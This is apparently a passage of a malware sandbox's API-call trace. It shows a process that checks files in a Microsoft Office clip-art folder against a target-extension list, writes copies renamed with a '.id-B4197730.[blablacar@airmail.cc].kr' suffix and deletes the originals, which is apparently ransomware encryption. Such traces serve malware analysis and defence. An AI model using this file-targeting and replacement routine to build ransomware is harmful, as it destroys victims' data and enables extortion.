[0186.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.794] lstrlenW (lpString=".dbf") returned 4 [0186.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.795] lstrlenW (lpString=".1cd") returned 4 [0186.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.795] lstrlenW (lpString=".jpg") returned 4 [0186.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.795] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.795] lstrlenW (lpString="DD01146_.WMF") returned 12 [0186.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.796] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2796) returned 1 [0186.796] CloseHandle (hObject=0x450) returned 1 [0186.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0186.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.796] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.796] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0186.797] GetLastError () returned 0x0 [0186.797] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xaec, lpOverlapped=0x0) returned 1 [0187.156] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xaf0, lpOverlapped=0x0) returned 1 [0187.157] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0187.157] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0187.157] SetEndOfFile (hFile=0x540) returned 1 [0187.212] CloseHandle (hObject=0x540) returned 1 [0187.212] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0187.212] SetEndOfFile (hFile=0x450) returned 1 [0187.232] CloseHandle (hObject=0x450) returned 1 [0187.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0188.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.315] lstrlenW (lpString=".doc") returned 4 [0188.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.315] lstrlenW (lpString=".docx") returned 5 [0188.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.315] lstrlenW (lpString=".pdf") returned 4 [0188.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.315] lstrlenW (lpString=".xls") returned 4 [0188.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.315] lstrlenW (lpString=".xlsx") returned 5 [0188.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.315] lstrlenW (lpString=".ppt") returned 4 [0188.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.315] lstrlenW (lpString=".zip") returned 4 [0188.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.315] lstrlenW (lpString=".rar") returned 4 [0188.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.315] lstrlenW (lpString=".bz2") returned 4 [0188.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.315] lstrlenW (lpString=".7z") returned 3 [0188.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.315] lstrlenW (lpString=".dbf") returned 4 [0188.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.316] lstrlenW (lpString=".1cd") returned 4 [0188.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.316] lstrlenW (lpString=".jpg") returned 4 [0188.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.316] lstrlenW (lpString=".doc") returned 4 [0188.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.316] lstrlenW (lpString=".docx") returned 5 [0188.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.316] lstrlenW (lpString=".pdf") returned 4 [0188.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.316] lstrlenW (lpString=".xls") returned 4 [0188.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.316] lstrlenW (lpString=".xlsx") returned 5 [0188.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.316] lstrlenW (lpString=".ppt") returned 4 [0188.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.316] lstrlenW (lpString=".zip") returned 4 [0188.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.316] lstrlenW (lpString=".rar") returned 4 [0188.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.316] lstrlenW (lpString=".bz2") returned 4 [0188.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.316] lstrlenW (lpString=".7z") returned 3 [0188.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.316] lstrlenW (lpString=".dbf") returned 4 [0188.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.317] lstrlenW (lpString=".1cd") returned 4 [0188.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0188.317] lstrlenW (lpString=".jpg") returned 4 [0188.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.317] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.317] lstrlenW (lpString="DD01168_.WMF") returned 12 [0188.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0188.318] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2004) returned 1 [0188.318] CloseHandle (hObject=0x410) returned 1 [0188.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0188.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0188.319] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.319] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0188.319] GetLastError () returned 0x0 [0188.319] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x7d4, lpOverlapped=0x0) returned 1 [0188.321] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x7e0, lpOverlapped=0x0) returned 1 [0188.322] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0188.322] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0188.322] SetEndOfFile (hFile=0x520) returned 1 [0188.322] CloseHandle (hObject=0x520) returned 1 [0188.322] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.322] SetEndOfFile (hFile=0x410) returned 1 [0188.324] CloseHandle (hObject=0x410) returned 1 [0188.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0188.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.351] lstrlenW (lpString=".doc") returned 4 [0188.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.351] lstrlenW (lpString=".docx") returned 5 [0188.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.351] lstrlenW (lpString=".pdf") returned 4 [0188.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.351] lstrlenW (lpString=".xls") returned 4 [0188.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.351] lstrlenW (lpString=".xlsx") returned 5 [0188.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.351] lstrlenW (lpString=".ppt") returned 4 [0188.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.352] lstrlenW (lpString=".zip") returned 4 [0188.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.352] lstrlenW (lpString=".rar") returned 4 [0188.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.352] lstrlenW (lpString=".bz2") returned 4 [0188.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.352] lstrlenW (lpString=".7z") returned 3 [0188.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.352] lstrlenW (lpString=".dbf") returned 4 [0188.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.352] lstrlenW (lpString=".1cd") returned 4 [0188.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.352] lstrlenW (lpString=".jpg") returned 4 [0188.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.352] lstrlenW (lpString=".doc") returned 4 [0188.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.352] lstrlenW (lpString=".docx") returned 5 [0188.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.352] lstrlenW (lpString=".pdf") returned 4 [0188.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.352] lstrlenW (lpString=".xls") returned 4 [0188.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.352] lstrlenW (lpString=".xlsx") returned 5 [0188.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.352] lstrlenW (lpString=".ppt") returned 4 [0188.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.353] lstrlenW (lpString=".zip") returned 4 [0188.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.353] lstrlenW (lpString=".rar") returned 4 [0188.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.353] lstrlenW (lpString=".bz2") returned 4 [0188.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.353] lstrlenW (lpString=".7z") returned 3 [0188.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.353] lstrlenW (lpString=".dbf") returned 4 [0188.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.353] lstrlenW (lpString=".1cd") returned 4 [0188.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0188.353] lstrlenW (lpString=".jpg") returned 4 [0188.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.353] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.353] lstrlenW (lpString="DD01169_.WMF") returned 12 [0188.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0188.354] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2020) returned 1 [0188.354] CloseHandle (hObject=0x410) returned 1 [0188.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0188.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0188.354] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.354] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0188.355] GetLastError () returned 0x0 [0188.355] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x7e4, lpOverlapped=0x0) returned 1 [0188.357] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x7f0, lpOverlapped=0x0) returned 1 [0188.357] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0188.357] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0188.358] SetEndOfFile (hFile=0x520) returned 1 [0188.358] CloseHandle (hObject=0x520) returned 1 [0188.358] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.358] SetEndOfFile (hFile=0x410) returned 1 [0188.360] CloseHandle (hObject=0x410) returned 1 [0188.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0188.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.361] lstrlenW (lpString=".doc") returned 4 [0188.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.361] lstrlenW (lpString=".docx") returned 5 [0188.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.361] lstrlenW (lpString=".pdf") returned 4 [0188.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.361] lstrlenW (lpString=".xls") returned 4 [0188.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.361] lstrlenW (lpString=".xlsx") returned 5 [0188.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.362] lstrlenW (lpString=".ppt") returned 4 [0188.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.362] lstrlenW (lpString=".zip") returned 4 [0188.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.362] lstrlenW (lpString=".rar") returned 4 [0188.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.362] lstrlenW (lpString=".bz2") returned 4 [0188.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.362] lstrlenW (lpString=".7z") returned 3 [0188.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.362] lstrlenW (lpString=".dbf") returned 4 [0188.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.362] lstrlenW (lpString=".1cd") returned 4 [0188.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.362] lstrlenW (lpString=".jpg") returned 4 [0188.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.362] lstrlenW (lpString=".doc") returned 4 [0188.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.362] lstrlenW (lpString=".docx") returned 5 [0188.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.362] lstrlenW (lpString=".pdf") returned 4 [0188.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.362] lstrlenW (lpString=".xls") returned 4 [0188.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.362] lstrlenW (lpString=".xlsx") returned 5 [0188.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.363] lstrlenW (lpString=".ppt") returned 4 [0188.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.363] lstrlenW (lpString=".zip") returned 4 [0188.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.363] lstrlenW (lpString=".rar") returned 4 [0188.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.363] lstrlenW (lpString=".bz2") returned 4 [0188.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.363] lstrlenW (lpString=".7z") returned 3 [0188.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.363] lstrlenW (lpString=".dbf") returned 4 [0188.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.363] lstrlenW (lpString=".1cd") returned 4 